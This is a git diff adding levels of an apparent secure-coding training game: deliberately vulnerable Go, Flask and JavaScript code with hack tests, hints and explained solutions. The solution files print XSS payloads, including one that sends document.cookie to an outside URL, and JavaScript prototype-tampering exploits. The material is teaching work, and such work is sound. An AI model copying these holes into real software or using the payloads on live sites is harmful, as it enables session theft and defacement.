"user2@example.com": "B7rx9OkWVdx13$QF6Imq", + "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO", + "user4@example.com": "Log4Fun", + } + + if r.Method == "POST" { + + decode := json.NewDecoder(r.Body) + decode.DisallowUnknownFields() + + err := decode.Decode(&reqBody) + if err != nil { + http.Error(w, "Cannot decode body", http.StatusBadRequest) + return + } + email := reqBody.Email + password := reqBody.Password + + if !isValidEmail(email) { + log.Printf("Invalid email format: %q", email) + http.Error(w, "Invalid email format", http.StatusBadRequest) + return + } + + storedPassword, ok := testFakeMockUsers[email] + if !ok { + http.Error(w, "invalid email or password", http.StatusUnauthorized) + return + } + + if password == storedPassword { + log.Printf("User %q logged in successfully with a valid password %q", email, password) + w.WriteHeader(http.StatusOK) + } else { + http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) + } + + } else { + http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) + } +} + +func main() { + http.HandleFunc("/login", loginHandler) + log.Print("Server started. Listening on :8080") + err := http.ListenAndServe(":8080", nil) + if err != nil { + log.Fatalf("HTTP server ListenAndServe: %q", err) + } +} \ No newline at end of file diff --git a/Season-2/Level-2/code_test.go b/Season-2/Level-2/code_test.go new file mode 100644 index 0000000..355a678 --- /dev/null +++ b/Season-2/Level-2/code_test.go @@ -0,0 +1,134 @@ +// Run code_test.go by following the instructions below: + +// This file contains passing tests. + +// Run them by opening a terminal and running the following: +// $ go test -v Season-2/Level-2/code.go Season-2/Level-2/code_test.go + +// If 'go' is not found when running the above, install it from: +// https://go.dev/dl/ + +package main + +import ( + "net/http" + "net/http/httptest" + "os" + "strings" + "testing" + "time" +) + +func TestLoginHandler_ValidCredentials(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusOK { + t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) + } +} + +func TestLoginHandler_InvalidCredentials(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "invalid_password"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusUnauthorized { + t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + if respBody != "Invalid Email or Password" { + t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody) + } +} + +func TestLoginHandler_InvalidEmailFormat(t *testing.T) { + reqBody := `{"email": "invalid_email", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid email format" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestLoginHandler_InvalidRequestMethod(t *testing.T) { + req, err := http.NewRequest("GET", "/login", nil) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusMethodNotAllowed { + t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid request method" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}` + + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Cannot decode body" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestMain(m *testing.M) { + go func() { + main() + }() + + time.Sleep(500 * time.Millisecond) + + exitCode := m.Run() + os.Exit(exitCode) +} \ No newline at end of file diff --git a/Season-2/Level-2/go.mod b/Season-2/Level-2/go.mod new file mode 100644 index 0000000..1c84dae --- /dev/null +++ b/Season-2/Level-2/go.mod @@ -0,0 +1,3 @@ +module secure-code-game + +go 1.20 \ No newline at end of file diff --git a/Season-2/Level-2/hack_test.go b/Season-2/Level-2/hack_test.go new file mode 100644 index 0000000..b70e352 --- /dev/null +++ b/Season-2/Level-2/hack_test.go @@ -0,0 +1,100 @@ +// Run hack_test.go by following the instructions below: + +// This file exploits the vulnerabilities in code. Running this file will fail initially +// (it contains failing tests). As all other levels, your goal is to get this file to pass. + +// Run hack by opening a terminal and running the following: +// $ go test -v Season-2/Level-2/code.go Season-2/Level-2/hack_test.go + +// As a reminder, to pass this level, both this file alongside code_test.go must pass. + +// If 'go' is not found when running the above, install it from: +// https://go.dev/dl/ + +package main + +import ( + "bytes" + "log" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +// If this test fails, please fix the code to prevent user enumeration (code.go) +func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) { + reqBody := `{"email": "invalid@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusUnauthorized { + t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid Email or Password" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +// If this test fails, please fix the code to not log sensitive information (code.go) +func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) { + var buf bytes.Buffer + log.SetOutput(&buf) + + reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + logOutput := buf.String() + expectedRespLog := "Invalid email format" + if strings.Contains(logOutput, "in.valid@ex@mple.com") { + t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) + t.Fail() + } +} + +// If this test fails, please fix the code to not log sensitive information (code.go) +func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) { + var buf bytes.Buffer + log.SetOutput(&buf) + + reqBody := `{"email": "user1@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusOK { + t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) + } + + logOutput := buf.String() + expectedRespLog := "Successful login request" + if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") { + t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) + t.Fail() + } +} diff --git a/Season-2/Level-2/hint-1.txt b/Season-2/Level-2/hint-1.txt new file mode 100644 index 0000000..93e5695 --- /dev/null +++ b/Season-2/Level-2/hint-1.txt @@ -0,0 +1,3 @@ +Can an attacker guess or enumerate valid emails of Lumberjack customers? + +Try again, without reading hint-2.txt or the CodeQL code scanning alerts ;-) \ No newline at end of file diff --git a/Season-2/Level-2/hint-2.txt b/Season-2/Level-2/hint-2.txt new file mode 100644 index 0000000..6454c97 --- /dev/null +++ b/Season-2/Level-2/hint-2.txt @@ -0,0 +1,3 @@ +OMG! Does Lumberjack really log emails (twice in the code) and passwords (once in the code)? + +Try again, without reading the CodeQL code scanning alerts ;-) \ No newline at end of file diff --git a/Season-2/Level-2/solution/go.mod b/Season-2/Level-2/solution/go.mod new file mode 100644 index 0000000..1c84dae --- /dev/null +++ b/Season-2/Level-2/solution/go.mod @@ -0,0 +1,3 @@ +module secure-code-game + +go 1.20 \ No newline at end of file diff --git a/Season-2/Level-2/solution/solution.go b/Season-2/Level-2/solution/solution.go new file mode 100644 index 0000000..d66354a --- /dev/null +++ b/Season-2/Level-2/solution/solution.go @@ -0,0 +1,102 @@ +// Solution explained: + +// 1) Remove the email being logged here: +// log.Printf("Invalid email format: %q", email) +// log.Printf("Invalid email format") + +// 2) Fix the error message to prevent user enumeration here: +// http.Error(w, "invalid email or password", http.StatusUnauthorized) +// http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) + +// 3) Remove the email and password being logged here: +// log.Printf("User %q logged in successfully with a valid password %q", email, password) +// log.Printf("Successful login request") + +// Full solution follows: + +package main + +import ( + "encoding/json" + "log" + "net/http" + "regexp" +) + +var reqBody struct { + Email string `json:"email"` + Password string `json:"password"` +} + +func isValidEmail(email string) bool { + // The provided regular expression pattern for email validation by OWASP + // https://owasp.org/www-community/OWASP_Validation_Regex_Repository + emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$` + match, err := regexp.MatchString(emailPattern, email) + if err != nil { + return false + } + return match +} + +func loginHandler(w http.ResponseWriter, r *http.Request) { + + // Test users + var testFakeMockUsers = map[string]string{ + "user1@example.com": "password12345", + "user2@example.com": "B7rx9OkWVdx13$QF6Imq", + "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO", + "user4@example.com": "Log4Fun", + } + + if r.Method == "POST" { + + decode := json.NewDecoder(r.Body) + decode.DisallowUnknownFields() + + err := decode.Decode(&reqBody) + if err != nil { + http.Error(w, "Cannot decode body", http.StatusBadRequest) + return + } + email := reqBody.Email + password := reqBody.Password + + if !isValidEmail(email) { + // Fix: Removing the email from the log + // log.Printf("Invalid email format: %q", email) + log.Printf("Invalid email format") + http.Error(w, "Invalid email format", http.StatusBadRequest) + return + } + + storedPassword, ok := testFakeMockUsers[email] + if !ok { + // Fix: Correcting the message to prevent user enumeration + // http.Error(w, "invalid email or password", http.StatusUnauthorized) + http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) + return + } + + if password == storedPassword { + // Fix: Removing the email and password from the log + // log.Printf("User %q logged in successfully with a valid password %q", email, password) + log.Printf("Successful login request") + w.WriteHeader(http.StatusOK) + } else { + http.Error(w, "Invalid Email or Password", http.StatusUnauthorized) + } + + } else { + http.Error(w, "Invalid request method", http.StatusMethodNotAllowed) + } +} + +func main() { + http.HandleFunc("/login", loginHandler) + log.Print("Server started. Listening on :8080") + err := http.ListenAndServe(":8080", nil) + if err != nil { + log.Fatalf("HTTP server ListenAndServe: %q", err) + } +} diff --git a/Season-2/Level-2/solution/solution_test.go b/Season-2/Level-2/solution/solution_test.go new file mode 100644 index 0000000..6037638 --- /dev/null +++ b/Season-2/Level-2/solution/solution_test.go @@ -0,0 +1,214 @@ +// Run solution_test.go by following the instructions below: + +// This file is a copy of code_test.go and hack_test.go +// It tests the solution for failing and passing payloads + +// Run them by opening a terminal and running the following: +// $ go test -v Season-2/Level-2/solution/solution.go Season-2/Level-2/solution/solution_test.go + +// If 'go' is not found when running the above, install it from: +// https://go.dev/dl/ + +package main + +import ( + "bytes" + "log" + "net/http" + "net/http/httptest" + "os" + "strings" + "testing" + "time" +) + +func TestLoginHandler_UserEnumeration_InvalidEmail(t *testing.T) { + reqBody := `{"email": "invalid@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusUnauthorized { + t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid Email or Password" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestLoginHandler_SensitiveLog_InvalidEmail_FIXME(t *testing.T) { + var buf bytes.Buffer + log.SetOutput(&buf) + + reqBody := `{"email": "in.valid@ex@mple.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + logOutput := buf.String() + expectedRespLog := "Invalid email format" + if strings.Contains(logOutput, "in.valid@ex@mple.com") { + t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) + t.Fail() + } +} + +func TestLoginHandler_SensitiveLog_ValidCredentials_FIXME(t *testing.T) { + var buf bytes.Buffer + log.SetOutput(&buf) + + reqBody := `{"email": "user1@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusOK { + t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) + } + + logOutput := buf.String() + expectedRespLog := "Successful login request" + if strings.Contains(logOutput, "user1@example.com") || strings.Contains(logOutput, "password12345") { + t.Errorf("Expected body %q, but got %q", expectedRespLog, logOutput) + t.Fail() + } +} + +func TestLoginHandler_ValidCredentials(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusOK { + t.Errorf("Expected status code %d, but got %d", http.StatusOK, recorder.Code) + } +} + +func TestLoginHandler_InvalidCredentials(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "invalid_password"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusUnauthorized { + t.Errorf("Expected status code %d, but got %d", http.StatusUnauthorized, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + if respBody != "Invalid Email or Password" { + t.Errorf("Expected body %q, but got %q", "Invalid Email or Password", respBody) + } +} + +func TestLoginHandler_InvalidEmailFormat(t *testing.T) { + reqBody := `{"email": "invalid_email", "password": "password12345"}` + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid email format" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestLoginHandler_InvalidRequestMethod(t *testing.T) { + req, err := http.NewRequest("GET", "/login", nil) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusMethodNotAllowed { + t.Errorf("Expected status code %d, but got %d", http.StatusMethodNotAllowed, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Invalid request method" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestLoginHandler_UnknownFieldsInRequestBody(t *testing.T) { + reqBody := `{"email": "user1@example.com", "password": "password12345", "unknown_field": "value"}` + + req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody)) + if err != nil { + t.Fatalf("Failed to create request: %v", err) + } + + recorder := httptest.NewRecorder() + handler := http.HandlerFunc(loginHandler) + handler.ServeHTTP(recorder, req) + + if recorder.Code != http.StatusBadRequest { + t.Errorf("Expected status code %d, but got %d", http.StatusBadRequest, recorder.Code) + } + + respBody := strings.TrimSpace(recorder.Body.String()) + expectedRespBody := "Cannot decode body" + if respBody != expectedRespBody { + t.Errorf("Expected body %q, but got %q", expectedRespBody, respBody) + } +} + +func TestMain(m *testing.M) { + go func() { + main() + }() + + time.Sleep(500 * time.Millisecond) + + exitCode := m.Run() + os.Exit(exitCode) +} + +// Contribute new levels to the game in 3 simple steps! +// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md \ No newline at end of file diff --git a/Season-2/Level-3/code.py b/Season-2/Level-3/code.py new file mode 100644 index 0000000..0765b77 --- /dev/null +++ b/Season-2/Level-3/code.py @@ -0,0 +1,57 @@ +# Welcome to Secure Code Game Season-2/Level-3! + +# Follow the instructions below to get started: + +# 1. tests.py file is passing but code.py is vulnerable +# 2. Review the code in this file. Can you spot the bugs(s)? +# 3. Fix the bug(s) in code.py. Ensure that tests.py passes +# 4. Run hack.py and if passing then CONGRATS! +# 5. If stuck then read the hint +# 6. Compare your solution with solution.txt + +# Run code.py (RECOMMENDED for this level) by following the instructions below: + +# Run by opening a terminal and running the following: +# $ export FLASK_APP=Season-2/Level-3/code.py && export FLASK_ENV=development && export FLASK_DEBUG=0 && flask run + +import os +import re +from flask import Flask, request, render_template +app = Flask(__name__) + +# Set the absolute path to the template directory +template_dir = os.path.abspath('Season-2/Level-3/templates') +app.template_folder = template_dir + +# Hard-coded planet data +planet_data = { + "Mercury": "The smallest and fastest planet in the Solar System.", + "Venus": "The second planet from the Sun and the hottest planet.", + "Earth": "Our home planet and the only known celestial body to support life.", + "Mars": "The fourth planet from the Sun and often called the 'Red Planet'.", + "Jupiter": "The largest planet in the Solar System and known for its great red spot.", +} + +@app.route('/', methods=['GET', 'POST']) +def index(): + if request.method == 'POST': + planet = request.form.get('planet') + sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') + + if sanitized_planet: + if 'script' in sanitized_planet.lower() : + return '

Blocked

' + + return render_template('details.html', + planet=sanitized_planet, + info=get_planet_info(sanitized_planet)) + else: + return '

Please enter a planet name.

' + + return render_template('index.html') + +def get_planet_info(planet): + return planet_data.get(planet, 'Unknown planet.') + +if __name__ == '__main__': + app.run() \ No newline at end of file diff --git a/Season-2/Level-3/hack.txt b/Season-2/Level-3/hack.txt new file mode 100644 index 0000000..54c7854 --- /dev/null +++ b/Season-2/Level-3/hack.txt @@ -0,0 +1,8 @@ +Simulate an attack by following these steps: + +1. Start the application as instructed in 'code.py' +2. Enter the following in the planet input field: +<img src='x' onerror='alert(1)'> + +The application should return a message stating that such a +planet is unknown to the system, without showing an alert box \ No newline at end of file diff --git a/Season-2/Level-3/hint.txt b/Season-2/Level-3/hint.txt new file mode 100644 index 0000000..5d0fa72 --- /dev/null +++ b/Season-2/Level-3/hint.txt @@ -0,0 +1 @@ +How does the site handle user input before and after displaying it? \ No newline at end of file diff --git a/Season-2/Level-3/solution.txt b/Season-2/Level-3/solution.txt new file mode 100644 index 0000000..499e4c8 --- /dev/null +++ b/Season-2/Level-3/solution.txt @@ -0,0 +1,68 @@ +# Contribute new levels to the game in 3 simple steps! +# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md + +This code is vulnerable to Cross-Site Scripting (XSS). + +Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting +Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/ + +Why the application is vulnerable to XSS? +It seems that the user input is properly sanitized, as shown below: + +planet = request.form.get('planet') +sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '') + +What if all HTML's start and end tags were pruned away, what could go wrong in that case? +Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag. +However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows: + +Exploit: +<img src="x" onerror="alert(1)"> + +Explanation: +With this payload, the XSS attack will execute successfully, since it will force the browser to open an +alert dialog box. There are several reasons why this is possible, as explained below: + +1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function +invocation in JavaScript. +2) The sanitization doesn't touch the < and > special entities. +3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision. +4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML. + +How can we fix this? + +1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped. +2) Don't reinvent the wheel by coming up with your own escaping facility. +You can use the function 'escape', which is a built-in function inside the markup module used by Flask. +This function helps to escape special characters in the input, preventing them from being executed +as HTML or JavaScript. + +Example: +from markupsafe import escape + +sanitized_planet = escape(planet) + +What else can XSS do? +- Steal cookies and session information +- Redirect to malicious websites +- Modify website content +- Phishing +- Keylogging + +How to prevent XSS? +- Sanitize user input properly +- Use Content Security Policy (CSP) +- Use HttpOnly Cookies +- Use X-XSS-Protection header + +Here are some exploit examples: + +- Redirect to phishing page using XSS: +<img src="x" onerror="window.location.href = 'https://google.com';"> + +- Get cookies: +<img src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"> + +- Modify website content: +You can inject any phishing page, malicious page, or any other content to the website using XSS, by: +<img src="x" onerror="document.body.innerHTML = 'Website is hacked';"> \ No newline at end of file diff --git a/Season-2/Level-3/templates/details.html b/Season-2/Level-3/templates/details.html new file mode 100644 index 0000000..28db517 --- /dev/null +++ b/Season-2/Level-3/templates/details.html @@ -0,0 +1,31 @@ + + + + + Planet Details + + + + +

Planet Details

+

Planet name: {{ planet | safe }}

+

Planet info: {{ info | safe }}

+
+

Search in Google for more information about the planet:

+ + + + \ No newline at end of file diff --git a/Season-2/Level-3/templates/index.html b/Season-2/Level-3/templates/index.html new file mode 100644 index 0000000..fea9f71 --- /dev/null +++ b/Season-2/Level-3/templates/index.html @@ -0,0 +1,63 @@ + + + + + Planet Information + + + + +

Planet Information

+
+ + +

+ +
+ + + \ No newline at end of file diff --git a/Season-2/Level-3/tests.py b/Season-2/Level-3/tests.py new file mode 100644 index 0000000..f765d6d --- /dev/null +++ b/Season-2/Level-3/tests.py @@ -0,0 +1,63 @@ +# Run tests.py by following the instructions below: + +# This file contains passing tests. + +# Run them by opening a terminal and running the following: +# $ python3 Season-2/Level-3/tests.py + +# Note: first you have to run code.py following the instructions +# on top of that file so that the environment variables align but +# it's not necessary to run both files in parallel as the tests +# initialize a new environment, similar to code.py + +from code import app, get_planet_info +import unittest +from flask_testing import TestCase + +class MyTestCase(TestCase): + def create_app(self): + app.config['TESTING'] = True + app.config['TEMPLATES_AUTO_RELOAD'] = True + return app + + def test_index_route(self): + response = self.client.get('/') + self.assert200(response) + self.assertTemplateUsed('index.html') + + def test_get_planet_info_invalid_planet(self): + planet = 'Pluto' + expected_info = 'Unknown planet.' + result = get_planet_info(planet) + self.assertEqual(result, expected_info) + + def test_get_planet_info_valid_planet(self): + planet = 'Mercury' + expected_info = 'The smallest and fastest planet in the Solar System.' + result = get_planet_info(planet) + self.assertEqual(result, expected_info) + + def test_index_valid_planet(self): + planet = 'Venus' + response = self.client.post('/', data={'planet': planet}) + self.assert200(response) + self.assertEqual(response.data.decode()[:15], '') + + def test_index_missing_planet(self): + response = self.client.post('/') + self.assert200(response) + self.assertEqual(response.data.decode(), '

Please enter a planet name.

') + + def test_index_empty_planet(self): + response = self.client.post('/', data={'planet': ''}) + self.assert200(response) + self.assertEqual(response.data.decode(), '

Please enter a planet name.

') + + def test_index_active_content_planet(self): + planet = " + + +
+ + + diff --git a/Season-2/Level-5/solution.js b/Season-2/Level-5/solution.js new file mode 100644 index 0000000..63d741e --- /dev/null +++ b/Season-2/Level-5/solution.js @@ -0,0 +1,221 @@ +// Contribute new levels to the game in 3 simple steps! +// Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md + +// In-depth explanation follows at the end of the file. Scroll down to see it. +var CryptoAPI = (function() { + var encoding = { + a2b: function(a) { }, + b2a: function(b) { } + }; + + var API = { + sha1: { + name: 'sha1', + identifier: '2b0e03021a', + size: 20, + block: 64, + hash: function(s) { + + // FIX for hack-1.js + if (typeof s !== "string") { + throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; + } + + var len = (s += '\x80').length, + blocks = len >> 6, + chunk = len & 63, + res = "", + i = 0, + j = 0, + H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], + + // FIX for hack-3.js + w = [ + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 + ]; + + while (chunk++ != 56) { + s += "\x00"; + if (chunk == 64) { + blocks++; + chunk = 0; + } + } + + for (s += "\x00\x00\x00\x00", chunk = 3, len = 8 * (len - 1); chunk >= 0; chunk--) { + s += encoding.b2a(len >> (8 * chunk) & 255); + } + + for (i = 0; i < s.length; i++) { + j = (j << 8) + encoding.a2b(s[i]); + if ((i & 3) == 3) { + w[(i >> 2) & 15] = j; + j = 0; + } + // FIX for hack-2.js + if ((i & 63) == 63) internalRound(H, w); + } + + for (i = 0; i < H.length; i++) + for (j = 3; j >= 0; j--) + res += encoding.b2a(H[i] >> (8 * j) & 255); + return res; + }, // End "hash" + _round: function(H, w) { } + } // End "sha1" + }; // End "API" + + // FIX for hack-2.js + var internalRound = API.sha1._round; + + return API; // End body of anonymous function +})(); // End "CryptoAPI" + + +// -------------------------------------------------------------------------------------------- +// Explanation +// -------------------------------------------------------------------------------------------- +// Vulnerability 1 +// -------------------------------------------------------------------------------------------- + +// The parameter "s" could be an object, and when cast to +// a string by the implicit type conversion of the "+=" operator, the +// conversion can trigger malicious code execution. (This operator is used +// on lines 18, 28, 35 and 36 of code.js.) + + +// Exploit 1 + +// We can provide a malicious object as the parameter for +// CryptoAPI.sha1.hash() that triggers the type conversion, e.g.: + +var x = { toString: function() { alert('1'); } }; + +// or by what was provided in hack-1.js + + +// Fix 1 + +// We could fix this vulnerability by adding between lines 17 and 18 of code.js. + +if (typeof s !== "string") { + throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; +} + +// becoming + +// code ... +hash: function example (input) { + if (typeof input !== "string") { + throw "Error: CryptoAPI.sha1.hash() should be called with a 'normal' parameter (i.e., a string)"; + } + var len = (input += '\x80').length +// more code ... +} + + +// -------------------------------------------------------------------------------------------- +// Vulnerability 2 +// -------------------------------------------------------------------------------------------- + +// The reference to CryptoAPI.sha1._round on line 45 of code.js is +// non-local, so the "_round" property of CryptoAPI.sha1 can be overwritten +// with attacker-defined code that will be executed by CryptoAPI.sha1.hash. +// It's important to realise that this is because of how the function is +// called on line 45 of code.js, not because of how it is defined on line 53. + + +// Exploit 2 + +// We could alter the definition of CryptoAPI.sha1._round after +// loading CryptoAPI, e.g.: + +CryptoAPI.sha1._round = function() { alert('2'); }; + +// or by what was provided in hack-2.js + + +// Fix 2 + +// We could fix this vulnerability by storing a local +// reference to the "_round" property on line 56 of code.js, +// after "API" has been defined: + +var internalRound = API.sha1._round; + +// and using this local reference in the body of the "hash" function in the +// invocation of the function on line 45 of code.js instead: + +if ((i & 63) == 63) internalRound(H, w); + +// This works because in JS, a method is first going to be +// searched locally and then globally (non-locally). + + + +// -------------------------------------------------------------------------------------------- +// Vulnerability 3 +// -------------------------------------------------------------------------------------------- + +// The array "w" is initialised as an empty array on line 25 of code.js, +// but other code in CryptoAPI.sha1.hash makes implicit references to +// elements at specific indices (which are simply properties of an object), +// so an assignment to one of these elements (e.g., on line 42) could +// trigger malicious code execution as a result of poisoning the Array +// prototype. Specifically, 128 elements of "w" are accessed by the CryptoAPI code. + +// Although the reason for this vulnerability was the failure +// to correctly initialise 